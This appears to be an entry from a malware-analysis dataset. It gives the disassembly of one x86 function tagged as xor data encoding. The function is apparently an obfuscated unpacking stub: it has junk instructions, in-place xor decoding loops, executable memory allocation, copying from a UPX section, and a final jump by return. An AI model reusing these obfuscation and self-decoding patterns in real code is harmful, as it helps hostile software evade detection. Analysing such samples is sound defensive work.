Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x45f58f7
not eax
and edx, edx
popal
mov eax, edx
add edx, 0xa6a9dec6
sub edx, eax
mov ebx, 0
mov ecx, eax
sub esi, 0x5cd934f7
mov edx, 0xb45d1d9f
mov edi, ecx
sub esi, 0x86242757
mov esi, 0xa9b53ea1
mov eax, edi
add esi, edx
sub edx, esi
inc ebx
add esi, 0x57075f7e
add edx, 0x30949cbb
cmp ebx, 0x1005bdf
jne 0x47b44e
mov esi, 0xdb121c6e
or edx, esi
mov esi, edx
not eax
not eax
mov edi, 0x47b21e
and esi, edx
inc edx
mov eax, 0x47b412
add ecx, edx
mov ecx, edx
sub edx, 0x93ac70f8
mov ebx, dword [edi]
sub esi, edx
sub ecx, 0x1be9224c
add edx, ecx
and ebx, 0xff
sub edx, ecx
or esi, esi
add ecx, edx
xor dword [eax], ebx
dec esi
sub esi, edx
not ecx
inc eax
mov ecx, edx
mov ecx, edx
or esi, edx
inc edi
or esi, ecx
dec ecx
cmp eax, entry0
jl 0x47b4ab
add ecx, edx
mov esi, edx
mov esi, ecx
sub edx, 0x34696f29
not esi
sub edi, 0x99d7cc9a
sub edx, 0xff307a11
mov ecx, 0x47b416
not edi
sub esi, 0xf536598
inc edi
mov ecx, dword [ecx]
not edi
sub esi, 0x9b7da014
mov ecx, dword [ecx]
sub esi, edi
or edi, edi
push ecx
inc ebx
mov esi, 0x860a4f34
mov esi, 0x7003dcd7
mov ecx, 0x47b412
sub edi, esi
sub edx, esi
mov ebx, esi
mov ecx, dword [ecx]
mov ebx, 0xa6c6ea29
dec esi
mov ecx, dword [ecx]
add esi, edi
sub esi, ebx
sub esp, 4
mov dword [esp], 0x47b41a
sub edi, edx
and edi, edi
call ecx
and esi, ebx
add esi, edi
pop ecx
dec edi
mov edx, 0x855c392d
mov ebx, edi
push 0x47b427
not ebx
not edi
sub esp, 4
mov dword [esp], eax
add ebx, 0xa0240aa0
sub ebx, 0x5e6d7c1a
sub edi, edx
call ecx
add edi, edx
sub edi, edx
push 0x40
and edi, edi
sub ebx, 0xe4f729eb
sub esp, 4
mov dword [esp], 0x3000
mov esi, 0x924d7162
mov edi, 0x856e45dd
push 0x20000112
not ebx
mov edi, esi
or edi, ebx
push 0
sub ebx, edx
sub edi, 0xa6f9c037
call eax
dec esi
and esi, esi
add eax, 0x20000083
inc ebx
add esi, 1
mov ecx, 0xa74d755a
mov edi, ebx
mov edx, ebx
mov dword [eax], ecx
or ebx, edi
add esi, edi
inc ebx
mov ecx, dword [eax]
add edi, 0x5501f3d6
and ebx, edx
sub edx, edi
cmp ecx, 0xa74d755a
je 0x47b5f4
mov ecx, 0
mov dl, byte [ecx]
sub ebx, edx
mov ebx, 0x34de666f
add esi, edx
mov ebx, 0x20dd0de3
add edx, 0x6eec9a3b
dec edx
mov eax, 0xab677d98
mov edi, section.UPX1
dec eax
not edx
not edx
mov ebx, 0x47b21d
add eax, 0x976efa88
mov eax, 0xa9410868
sub edx, 0xd0d4fb0
mov ecx, 0
and edx, edx
and eax, edx
mov esi, 0x47b21e
or edx, edx
sub eax, 0x54734acd
add edx, edx
lea esi, [esi + ecx]
mov eax, 0x9dec44ee
or eax, eax
mov esi, dword [esi]
sub edx, eax
or eax, eax
and esi, 0xff
and eax, eax
or edx, edx
inc ecx
sub edx, eax
sub eax, 1
mov edx, eax
cmp ecx, 0x1f4
jne 0x47b678
mov ecx, 0
inc eax
add eax, eax
mov eax, 0xd6331392
add eax, 0x247724ff
sub eax, 0x34dd5f06
inc edx
xor dword [edi], esi
add edx, edx
add edx, eax
add edi, 2
sub edx, 0xe835c5d0
sub edx, 0x8f10c5c3
mov eax, edx
cmp edi, ebx
jl 0x47b637
dec eax
or edx, eax
inc edx
or edx, eax
mov edx, section.UPX1
add ebx, edi
sub edi, ebx
sub ebx, 0x77434499
mov esi, section.UPX1
sub ebx, edi
sub ebx, 0x27f74b95
mov ecx, 0x47b21d
add edi, ebx
or edi, edi
mov eax, 0
not ebx
and edi, edi
not edi
mov al, byte [esi]
and edi, edi
add ebx, 0x56270c76
add edi, ebx
mov byte [edx], al
not edi
add edi, 1
and ebx, ebx
inc edx
mov edi, 0x675a1e2f
and edi, ebx
inc edi
add esi, 2
mov ebx, 0xbeb14fce
mov ebx, 0x64cf857b
mov ebx, edi
cmp esi, ecx
jle 0x47b6e5
inc ebx
inc ebx
add ebx, 0x89a17b5b
sub edx, eax
sub edx, 0xe0094a46
push 0x45e6a0
add eax, 0xfb3271eb
mov edx, eax
inc edx
ret